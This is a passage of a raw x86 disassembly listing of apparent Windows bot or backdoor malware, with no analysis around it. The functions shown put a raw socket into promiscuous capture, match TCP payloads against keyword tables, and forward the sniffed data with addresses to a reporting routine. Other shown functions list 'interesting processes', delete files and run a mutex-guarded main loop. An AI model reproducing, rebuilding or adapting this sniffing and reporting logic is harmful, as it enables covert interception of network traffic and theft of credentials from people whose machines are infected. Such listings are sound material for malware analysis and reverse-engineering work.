add esp, 1Ch
push [ebp+var_5B8]
call sub_409763
pop ecx
xor eax, eax
locret_415DF9: ; CODE XREF: sub_415B60+1B9j
leave
retn 4
sub_415B60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_415E17
jmp short locret_415E3F
; ---------------------------------------------------------------------------
loc_415E17: ; CODE XREF: sub_415DFD+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aListingInteres ; "Listing interesting processes"
push 0
push [ebp+var_4]
push offset sub_415B60
call sub_4095A4
add esp, 10h
locret_415E3F: ; CODE XREF: sub_415DFD+18j
leave
retn
sub_415DFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E41 proc near ; CODE XREF: sub_415EB7+37p
; sub_415EB7+59p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_415E52
; ---------------------------------------------------------------------------
loc_415E4B: ; CODE XREF: sub_415E41+69j
; sub_415E41:loc_415EB1j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_415E52: ; CODE XREF: sub_415E41+8j
mov eax, [ebp+var_4]
shl eax, 1
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+eax*4], 0
jz short loc_415EB3
mov eax, [ebp+var_4]
shl eax, 1
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_407ACA
add esp, 0Ch
test eax, eax
jz short loc_415EB1
mov eax, [ebp+var_4]
shl eax, 1
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+eax*4+4], 0
jz short loc_415EAC
mov eax, [ebp+var_4]
shl eax, 1
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_407ACA
add esp, 0Ch
test eax, eax
jz short loc_415EAC
jmp short loc_415E4B
; ---------------------------------------------------------------------------
loc_415EAC: ; CODE XREF: sub_415E41+49j
; sub_415E41+67j
push 1
pop eax
jmp short locret_415EB5
; ---------------------------------------------------------------------------
loc_415EB1: ; CODE XREF: sub_415E41+3Aj
jmp short loc_415E4B
; ---------------------------------------------------------------------------
loc_415EB3: ; CODE XREF: sub_415E41+1Dj
xor eax, eax
locret_415EB5: ; CODE XREF: sub_415E41+6Ej
leave
retn
sub_415E41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415EB7 proc near ; CODE XREF: sub_415F69+420p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
jz short loc_415EDD
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_407ACA
add esp, 0Ch
test eax, eax
jz short loc_415EDD
push 1
pop eax
jmp loc_415F67
; ---------------------------------------------------------------------------
loc_415EDD: ; CODE XREF: sub_415EB7+7j
; sub_415EB7+1Cj
cmp [ebp+arg_8], 1
jb short loc_415EFF
push [ebp+arg_4]
push [ebp+arg_0]
push offset off_41D6FC
call sub_415E41
add esp, 0Ch
test eax, eax
jz short loc_415EFF
push 1
pop eax
jmp short loc_415F67
; ---------------------------------------------------------------------------
loc_415EFF: ; CODE XREF: sub_415EB7+2Aj
; sub_415EB7+41j
cmp [ebp+arg_8], 2
jb short loc_415F21
push [ebp+arg_4]
push [ebp+arg_0]
push offset off_41D758
call sub_415E41
add esp, 0Ch
test eax, eax
jz short loc_415F21
push 1
pop eax
jmp short loc_415F67
; ---------------------------------------------------------------------------
loc_415F21: ; CODE XREF: sub_415EB7+4Cj
; sub_415EB7+63j
cmp [ebp+arg_8], 3
jb short loc_415F43
push [ebp+arg_4]
push [ebp+arg_0]
push offset off_41D7CC
call sub_415E41
add esp, 0Ch
test eax, eax
jz short loc_415F43
push 1
pop eax
jmp short loc_415F67
; ---------------------------------------------------------------------------
loc_415F43: ; CODE XREF: sub_415EB7+6Ej
; sub_415EB7+85j
cmp [ebp+arg_8], 4
jb short loc_415F65
push [ebp+arg_4]
push [ebp+arg_0]
push offset off_41D810
call sub_415E41
add esp, 0Ch
test eax, eax
jz short loc_415F65
push 1
pop eax
jmp short loc_415F67
; ---------------------------------------------------------------------------
loc_415F65: ; CODE XREF: sub_415EB7+90j
; sub_415EB7+A7j
xor eax, eax
loc_415F67: ; CODE XREF: sub_415EB7+21j
; sub_415EB7+46j ...
pop ebp
retn
sub_415EB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F69 proc near ; DATA XREF: sub_41665C+A6o
var_19B8 = dword ptr -19B8h
var_19B4 = byte ptr -19B4h
var_18B4 = dword ptr -18B4h
var_18B0 = byte ptr -18B0h
var_17B0 = dword ptr -17B0h
var_17AC = dword ptr -17ACh
var_17A8 = byte ptr -17A8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = byte ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = dword ptr -1614h
var_1610 = dword ptr -1610h
var_160C = byte ptr -160Ch
var_140C = byte ptr -140Ch
var_127E = byte ptr -127Eh
var_1278 = byte ptr -1278h
var_1274 = byte ptr -1274h
var_1268 = word ptr -1268h
var_1264 = byte ptr -1264h
var_1263 = byte ptr -1263h
var_125C = dword ptr -125Ch
var_1258 = word ptr -1258h
var_1254 = byte ptr -1254h
var_1154 = dword ptr -1154h
var_1150 = dword ptr -1150h
var_114C = byte ptr -114Ch
var_114B = byte ptr -114Bh
var_104C = dword ptr -104Ch
var_1048 = word ptr -1048h
var_1044 = dword ptr -1044h
var_1038 = byte ptr -1038h
var_1037 = byte ptr -1037h
var_1030 = byte ptr -1030h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 19B8h
call sub_416BC0
push edi
push 3ABh
push [ebp+arg_0]
lea eax, [ebp+var_1614]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
movsx eax, [ebp+var_160C]
neg eax
sbb eax, eax
lea ecx, [ebp+var_160C]
and eax, ecx
mov [ebp+var_1624], eax
push 0
push 3
push 2
call ds:dword_417218 ; socket
mov [ebp+var_104C], eax
cmp [ebp+var_104C], 0FFFFFFFFh
jnz short loc_415FDE
push [ebp+var_1614]
call sub_409763
pop ecx
xor eax, eax
jmp loc_416657
; ---------------------------------------------------------------------------
loc_415FDE: ; CODE XREF: sub_415F69+60j
push 0FFh
lea eax, [ebp+var_1254]
push eax
call ds:dword_417260 ; gethostname
lea eax, [ebp+var_1254]
push eax
call ds:dword_41723C ; gethostbyname
mov [ebp+var_1154], eax
cmp [ebp+var_1154], 0
jnz short loc_41602B
push [ebp+var_104C]
call ds:dword_417230 ; closesocket
push [ebp+var_1614]
call sub_409763
pop ecx
xor eax, eax
jmp loc_416657
; ---------------------------------------------------------------------------
loc_41602B: ; CODE XREF: sub_415F69+A1j
push 10h
push 0
lea eax, [ebp+var_1048]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_1048], 2
mov eax, [ebp+var_1154]
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_1044], eax
push 10h
lea eax, [ebp+var_1048]
push eax
push [ebp+var_104C]
call ds:dword_417208 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_416093
push [ebp+var_104C]
call ds:dword_417230 ; closesocket
push [ebp+var_1614]
call sub_409763
pop ecx
xor eax, eax
jmp loc_416657
; ---------------------------------------------------------------------------
loc_416093: ; CODE XREF: sub_415F69+109j
mov [ebp+var_1150], 1
push 0
push 0
lea eax, [ebp+var_1620]
push eax
push 0
push 0
push 4
lea eax, [ebp+var_1150]
push eax
push 98000001h
push [ebp+var_104C]
call ds:dword_41725C ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_4160EA
push [ebp+var_104C]
call ds:dword_417230 ; closesocket
push [ebp+var_1614]
call sub_409763
pop ecx
xor eax, eax
jmp loc_416657
; ---------------------------------------------------------------------------
loc_4160EA: ; CODE XREF: sub_415F69+160j
lea eax, [ebp+var_1030]
mov [ebp+var_161C], eax
and [ebp+var_1628], 0
and [ebp+var_4], 0
push [ebp+var_1610]
mov eax, [ebp+var_1614]
push dword ptr [eax]
push offset unk_41D9DC
lea eax, [ebp+var_140C]
push eax
call sub_40D53F
add esp, 10h
and [ebp+var_1274], 0
and [ebp+var_114C], 0
push 3Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_114B]
rep stosd
stosw
stosb
and [ebp+var_1264], 0
xor eax, eax
lea edi, [ebp+var_1263]
stosd
stosb
lea eax, [ebp+var_114C]
push eax
call sub_40CF25
push eax
call sub_4044F7
pop ecx
pop ecx
lea eax, [ebp+var_1264]
push eax
call sub_40CF25
push eax
call sub_4045B2
pop ecx
pop ecx
lea eax, [ebp+var_114C]
push eax
call ds:dword_417244 ; inet_addr
mov [ebp+var_1618], eax
lea eax, [ebp+var_1264]
push eax
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_1268], ax
and [ebp+var_1038], 0
xor eax, eax
lea edi, [ebp+var_1037]
stosd
stosb
lea eax, [ebp+var_1038]
push eax
call sub_40CF25
push eax
call sub_404552
pop ecx
pop ecx
mov eax, [ebp+var_1044]
mov [ebp+var_125C], eax
lea eax, [ebp+var_1038]
push eax
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_1258], ax
loc_4161E6: ; CODE XREF: sub_415F69+305j
; sub_415F69+33Aj ...
push 0
push 1028h
lea eax, [ebp+var_1030]
push eax
push [ebp+var_104C]
call ds:dword_417248 ; recv
mov [ebp+var_17AC], eax
mov eax, [ebp+var_1614]
cmp dword ptr [eax+4], 0
jz short loc_416217
jmp loc_416637
; ---------------------------------------------------------------------------
loc_416217: ; CODE XREF: sub_415F69+2A7j
cmp [ebp+var_17AC], 0FFFFFFFFh
jz short loc_416229
cmp [ebp+var_17AC], 0
jnz short loc_41622E
loc_416229: ; CODE XREF: sub_415F69+2B5j
jmp loc_416637
; ---------------------------------------------------------------------------
loc_41622E: ; CODE XREF: sub_415F69+2BEj
mov eax, [ebp+var_17AC]
and [ebp+eax+var_1030], 0
mov eax, [ebp+var_161C]
mov al, [eax]
and al, 0Fh
movzx eax, al
mov ecx, [ebp+var_161C]
lea eax, [ecx+eax*4]
mov [ebp+var_1628], eax
mov eax, [ebp+var_1628]
lea ecx, [ebp+var_1030]
sub eax, ecx
cmp eax, [ebp+var_17AC]
jb short loc_416273
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_416273: ; CODE XREF: sub_415F69+303j
mov eax, [ebp+var_1628]
mov al, [eax+0Ch]
shr al, 4
and al, 0Fh
movzx eax, al
mov ecx, [ebp+var_1628]
lea eax, [ecx+eax*4]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
lea ecx, [ebp+var_1030]
sub eax, ecx
cmp eax, [ebp+var_17AC]
jb short loc_4162A8
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_4162A8: ; CODE XREF: sub_415F69+338j
push [ebp+var_4]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_17AC], eax
mov eax, [ebp+var_161C]
movzx eax, byte ptr [eax+9]
cmp eax, 6
jnz loc_416632
movsx eax, [ebp+var_127E]
test eax, eax
jz short loc_4162EB
mov eax, [ebp+var_161C]
mov eax, [eax+10h]
cmp eax, [ebp+var_125C]
jz short loc_4162EB
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_4162EB: ; CODE XREF: sub_415F69+36Aj
; sub_415F69+37Bj
movsx eax, [ebp+var_1278]
test eax, eax
jz short loc_41630C
mov eax, [ebp+var_161C]
mov eax, [eax+0Ch]
cmp eax, [ebp+var_125C]
jz short loc_41630C
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_41630C: ; CODE XREF: sub_415F69+38Bj
; sub_415F69+39Cj
mov eax, [ebp+var_1628]
mov ax, [eax]
push eax
call ds:dword_417238 ; htons
movzx eax, ax
movzx ecx, [ebp+var_1258]
cmp eax, ecx
jnz short loc_416340
mov eax, [ebp+var_161C]
mov eax, [eax+0Ch]
cmp eax, [ebp+var_125C]
jnz short loc_416340
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_416340: ; CODE XREF: sub_415F69+3BFj
; sub_415F69+3D0j
mov eax, [ebp+var_1628]
mov ax, [eax]
push eax
call ds:dword_417238 ; htons
movzx eax, ax
movzx ecx, [ebp+var_1268]
cmp eax, ecx
jnz short loc_416374
mov eax, [ebp+var_161C]
mov eax, [eax+0Ch]
cmp eax, [ebp+var_1618]
jnz short loc_416374
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_416374: ; CODE XREF: sub_415F69+3F3j
; sub_415F69+404j
push [ebp+var_1624]
push [ebp+var_1610]
push [ebp+var_17AC]
push [ebp+var_4]
call sub_415EB7
add esp, 10h
test eax, eax
jz loc_416632
and [ebp+var_19B8], 0
jmp short loc_4163AF
; ---------------------------------------------------------------------------
loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j
mov eax, [ebp+var_19B8]
inc eax
mov [ebp+var_19B8], eax
loc_4163AF: ; CODE XREF: sub_415F69+437j
mov eax, [ebp+var_19B8]
cmp eax, [ebp+var_17AC]
jnb short loc_416415
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
cmp eax, 0Dh
jnz short loc_4163DA
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
mov byte ptr [eax], 2Dh
loc_4163DA: ; CODE XREF: sub_415F69+463j
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
cmp eax, 0Ah
jnz short loc_4163F7
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
mov byte ptr [eax], 3Eh
loc_4163F7: ; CODE XREF: sub_415F69+480j
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_416413
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
mov byte ptr [eax], 2Eh
loc_416413: ; CODE XREF: sub_415F69+49Cj
jmp short loc_4163A2
; ---------------------------------------------------------------------------
loc_416415: ; CODE XREF: sub_415F69+452j
and [ebp+var_19B8], 0
mov eax, [ebp+var_19B8]
mov [ebp+var_17AC], eax
jmp short loc_416437
; ---------------------------------------------------------------------------
loc_41642A: ; CODE XREF: sub_415F69+507j
; sub_415F69+51Aj ...
mov eax, [ebp+var_19B8]
inc eax
mov [ebp+var_19B8], eax
loc_416437: ; CODE XREF: sub_415F69+4BFj
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_41645F
mov eax, [ebp+var_4]
add eax, [ebp+var_17AC]
mov ecx, [ebp+var_4]
add ecx, [ebp+var_19B8]
mov cl, [ecx]
mov [eax], cl
jmp short loc_4164AA
; ---------------------------------------------------------------------------
loc_41645F: ; CODE XREF: sub_415F69+4DCj
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
cmp eax, 7Fh
jl short loc_416472
jmp short loc_41642A
; ---------------------------------------------------------------------------
loc_416472: ; CODE XREF: sub_415F69+505j
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
cmp eax, 1Fh
jg short loc_416485
jmp short loc_41642A
; ---------------------------------------------------------------------------
loc_416485: ; CODE XREF: sub_415F69+518j
mov eax, [ebp+var_4]
add eax, [ebp+var_17AC]
mov ecx, [ebp+var_4]
add ecx, [ebp+var_19B8]
mov cl, [ecx]
mov [eax], cl
mov eax, [ebp+var_17AC]
inc eax
mov [ebp+var_17AC], eax
jmp short loc_41642A
; ---------------------------------------------------------------------------
loc_4164AA: ; CODE XREF: sub_415F69+4F4j
cmp [ebp+var_17AC], 0
jnz short loc_4164B8
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_4164B8: ; CODE XREF: sub_415F69+548j
push 100h
mov eax, [ebp+var_161C]
push dword ptr [eax+0Ch]
call ds:dword_41721C ; inet_ntoa
push eax
lea eax, [ebp+var_19B4]
push eax
call sub_407A56
add esp, 0Ch
push 100h
mov eax, [ebp+var_161C]
push dword ptr [eax+10h]
call ds:dword_41721C ; inet_ntoa
push eax
lea eax, [ebp+var_18B0]
push eax
call sub_407A56
add esp, 0Ch
mov eax, [ebp+var_1628]
mov ax, [eax+2]
push eax
call ds:dword_417238 ; htons
movzx eax, ax
push eax
lea eax, [ebp+var_18B0]
push eax
mov eax, [ebp+var_1628]
mov ax, [eax]
push eax
call ds:dword_417238 ; htons
movzx eax, ax
push eax
lea eax, [ebp+var_19B4]
push eax
push offset dword_41D9A8
lea eax, [ebp+var_17A8]
push eax
call sub_416B5E ; sprintf
add esp, 18h
mov [ebp+var_18B4], eax
mov eax, 180h
sub eax, [ebp+var_18B4]
push eax
push [ebp+var_4]
mov eax, [ebp+var_18B4]
lea eax, [ebp+eax+var_17A8]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_17A8]
push eax
push offset dword_418B64
lea eax, [ebp+var_140C]
push eax
call sub_40D53F
add esp, 0Ch
push 3E8h
call ds:dword_41709C ; Sleep
mov eax, [ebp+var_1614]
cmp dword ptr [eax+4], 0
jz short loc_4165AD
jmp loc_416655
; ---------------------------------------------------------------------------
loc_4165AD: ; CODE XREF: sub_415F69+63Dj
mov eax, 180h
sub eax, [ebp+var_18B4]
dec eax
mov [ebp+var_17B0], eax
loc_4165BF: ; CODE XREF: sub_415F69+6C7j
mov eax, [ebp+var_17B0]
cmp eax, [ebp+var_17AC]
jnb short loc_416632
push 180h
mov eax, [ebp+var_4]
add eax, [ebp+var_17B0]
push eax
lea eax, [ebp+var_17A8]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_17A8]
push eax
push offset dword_418B64
lea eax, [ebp+var_140C]
push eax
call sub_40D53F
add esp, 0Ch
push 3E8h
call ds:dword_41709C ; Sleep
mov eax, [ebp+var_1614]
cmp dword ptr [eax+4], 0
jz short loc_41661F
jmp short loc_416653
; ---------------------------------------------------------------------------
loc_41661F: ; CODE XREF: sub_415F69+6B2j
mov eax, [ebp+var_17B0]
add eax, 17Fh
mov [ebp+var_17B0], eax
jmp short loc_4165BF
; ---------------------------------------------------------------------------
loc_416632: ; CODE XREF: sub_415F69+35Bj
; sub_415F69+42Aj ...
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_416637: ; CODE XREF: sub_415F69+2A9j
; sub_415F69:loc_416229j ...
push [ebp+var_104C]
call ds:dword_417230 ; closesocket
push [ebp+var_1614]
call sub_409763
pop ecx
xor eax, eax
jmp short loc_416657
; ---------------------------------------------------------------------------
loc_416653: ; CODE XREF: sub_415F69+6B4j
jmp short loc_416637
; ---------------------------------------------------------------------------
loc_416655: ; CODE XREF: sub_415F69+63Fj
jmp short loc_416637
; ---------------------------------------------------------------------------
loc_416657: ; CODE XREF: sub_415F69+70j
; sub_415F69+BDj ...
pop edi
leave
retn 4
sub_415F69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push 3ABh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41667B
jmp locret_41670F
; ---------------------------------------------------------------------------
loc_41667B: ; CODE XREF: sub_41665C+18j
cmp [ebp+arg_4], 0
jz short loc_41668F
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
jmp short loc_416696
; ---------------------------------------------------------------------------
loc_41668F: ; CODE XREF: sub_41665C+23j
mov [ebp+var_8], 3
loc_416696: ; CODE XREF: sub_41665C+31j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+4], ecx
cmp [ebp+arg_8], 0
jz short loc_4166AD
mov eax, [ebp+arg_8]
mov [ebp+var_C], eax
jmp short loc_4166B4
; ---------------------------------------------------------------------------
loc_4166AD: ; CODE XREF: sub_41665C+47j
mov [ebp+var_C], offset byte_41DE30
loc_4166B4: ; CODE XREF: sub_41665C+4Fj
push 200h
push [ebp+var_C]
mov eax, [ebp+var_4]
add eax, 8
push eax
call sub_407A56
add esp, 0Ch
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 208h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_4]
push dword ptr [eax+4]
push offset dword_41DA10
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_4]
push offset sub_415F69
call sub_4095A4
add esp, 14h
locret_41670F: ; CODE XREF: sub_41665C+1Aj
leave
retn
sub_41665C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416711 proc near ; CODE XREF: sub_4167B9+6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push offset aRb ; "rb"
push [ebp+arg_0]
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41673B
push [ebp+var_4]
call sub_416B82 ; fclose
pop ecx
push 1
pop eax
jmp short locret_41673D
; ---------------------------------------------------------------------------
loc_41673B: ; CODE XREF: sub_416711+1Aj
xor eax, eax
locret_41673D: ; CODE XREF: sub_416711+28j
leave
retn
sub_416711 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push offset aRb ; "rb"
push [ebp+arg_0]
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41679C
push 2
push 0
push [ebp+var_4]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_4]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_8], eax
push 0
push 0
push [ebp+var_4]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_4]
call sub_416B82 ; fclose
pop ecx
mov eax, [ebp+var_8]
inc eax
neg eax
sbb eax, eax
and eax, [ebp+var_8]
jmp short locret_41679E
; ---------------------------------------------------------------------------
loc_41679C: ; CODE XREF: sub_41673F+1Bj
xor eax, eax
locret_41679E: ; CODE XREF: sub_41673F+5Bj
leave
retn
sub_41673F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call ds:dword_4170AC ; DeleteFileA
test eax, eax
jz short loc_4167B5
push 1
pop eax
jmp short loc_4167B7
; ---------------------------------------------------------------------------
loc_4167B5: ; CODE XREF: sub_4167A0+Ej
xor eax, eax
loc_4167B7: ; CODE XREF: sub_4167A0+13j
pop ebp
retn
sub_4167A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_416711
pop ecx
test eax, eax
jz short loc_4167D9
push [ebp+arg_0]
call sub_4167A0
pop ecx
neg eax
sbb eax, eax
inc eax
jmp short loc_4167DB
; ---------------------------------------------------------------------------
loc_4167D9: ; CODE XREF: sub_4167B9+Ej
xor eax, eax
loc_4167DB: ; CODE XREF: sub_4167B9+1Ej
pop ebp
retn
sub_4167B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push dword ptr [eax]
call sub_40ED38
pop ecx
mov [ebp+var_4], eax
leave
retn
sub_4167DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4167F1 proc near ; DATA XREF: .Polyene:004203E2o
var_12F4 = dword ptr -12F4h
var_12F0 = dword ptr -12F0h
var_12EC = byte ptr -12ECh
var_115C = byte ptr -115Ch
var_1128 = dword ptr -1128h
var_1121 = byte ptr -1121h
var_1120 = byte ptr -1120h
var_101C = dword ptr -101Ch
var_1018 = byte ptr -1018h
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417298
push offset sub_416DBA
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
mov eax, 12DCh
call sub_416BC0
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 2
call ds:dword_4170F4 ; SetErrorMode
and [ebp+var_4], 0
push dword_41DA54
push dword_41DA50
push 3B6h
push dword_41DA4C
push 0
push dword_41DA48
push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
lea eax, [ebp+var_115C]
push eax
call sub_416B5E ; sprintf
add esp, 20h
and [ebp+var_1128], 0
jmp short loc_416875
; ---------------------------------------------------------------------------
loc_416868: ; CODE XREF: sub_4167F1:loc_4168BAj
mov eax, [ebp+var_1128]
inc eax
mov [ebp+var_1128], eax
loc_416875: ; CODE XREF: sub_4167F1+75j
cmp [ebp+var_1128], 0Ah
jnz short loc_416883
call sub_407148
loc_416883: ; CODE XREF: sub_4167F1+8Bj
push 3E8h
call ds:dword_41709C ; Sleep
lea eax, [ebp+var_115C]
push eax
push 0
push 0
call ds:dword_4170F8 ; CreateMutexA
mov [ebp+var_12F0], eax
cmp [ebp+var_12F0], 0
jz short loc_4168BA
call ds:dword_417064 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_4168BA
jmp short loc_4168BC
; ---------------------------------------------------------------------------
loc_4168BA: ; CODE XREF: sub_4167F1+BBj
; sub_4167F1+C5j
jmp short loc_416868
; ---------------------------------------------------------------------------
loc_4168BC: ; CODE XREF: sub_4167F1+C7j
call sub_403BD3
call sub_405FA3
call sub_40938F
call sub_412FC6
call sub_4102AE
call sub_40E979
push 10h
push offset dword_41DA48
call sub_41055F
pop ecx
pop ecx
push 10h
push offset dword_41DA48
call sub_40ECEB
pop ecx
pop ecx
push 10h
push offset dword_41DA48
call sub_40ED6E
pop ecx
pop ecx
call sub_410422
mov dword_41EC30, eax
call sub_410422
mov dword_41EC34, eax
call sub_410422
mov dword_41EC38, eax
call sub_410422
mov dword_41EC3C, eax
push 104h
lea eax, [ebp+var_1120]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
test eax, eax
jnz short loc_416961
push offset byte_41DE30
push offset dword_41EB2C
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp loc_4169E1
; ---------------------------------------------------------------------------
loc_416961: ; CODE XREF: sub_4167F1+158j
lea eax, [ebp+var_1120]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_12F4], eax
jmp short loc_416983
; ---------------------------------------------------------------------------
loc_416976: ; CODE XREF: sub_4167F1:loc_4169DFj
mov eax, [ebp+var_12F4]
dec eax
mov [ebp+var_12F4], eax
loc_416983: ; CODE XREF: sub_4167F1+183j
cmp [ebp+var_12F4], 0
jnz short loc_41699F
push offset byte_41DE30
push offset dword_41EB2C
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_4169E1
; ---------------------------------------------------------------------------
loc_41699F: ; CODE XREF: sub_4167F1+199j
mov eax, [ebp+var_12F4]
movsx eax, [ebp+eax+var_1121]
cmp eax, 5Ch
jnz short loc_4169DF
mov eax, [ebp+var_12F4]
lea eax, [ebp+eax+var_1120]
push eax
push offset dword_41EB2C
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push offset dword_41EB2C
push offset dword_41EC40
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_4169E1
; ---------------------------------------------------------------------------
loc_4169DF: ; CODE XREF: sub_4167F1+1BFj
jmp short loc_416976
; ---------------------------------------------------------------------------
loc_4169E1: ; CODE XREF: sub_4167F1+16Bj
; sub_4167F1+1ACj ...
call sub_406E8E
lea eax, [ebp+var_12EC]
push eax
push 202h
call ds:dword_417264 ; WSAStartup
loc_4169F8: ; CODE XREF: sub_4167F1+252j
; sub_4167F1+2B6j
push 0
push 0
push 0
call sub_40D366
add esp, 0Ch
call sub_409226
and dword ptr [ebp-1124h], 0
and [ebp+var_101C], 0
loc_416A19: ; CODE XREF: .text:00416AE2j
mov [ebp+var_4], 1
loc_416A20: ; CODE XREF: sub_4167F1:loc_416A6Fj
; sub_4167F1+2CFj
push 0EA60h
call sub_40CF25
push eax
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_416A71
cmp [ebp+var_101C], 19h
jnz short loc_416A45
and [ebp+var_4], 0
jmp short loc_4169F8
; ---------------------------------------------------------------------------
loc_416A45: ; CODE XREF: sub_4167F1+24Cj
cmp [ebp+var_101C], 14h
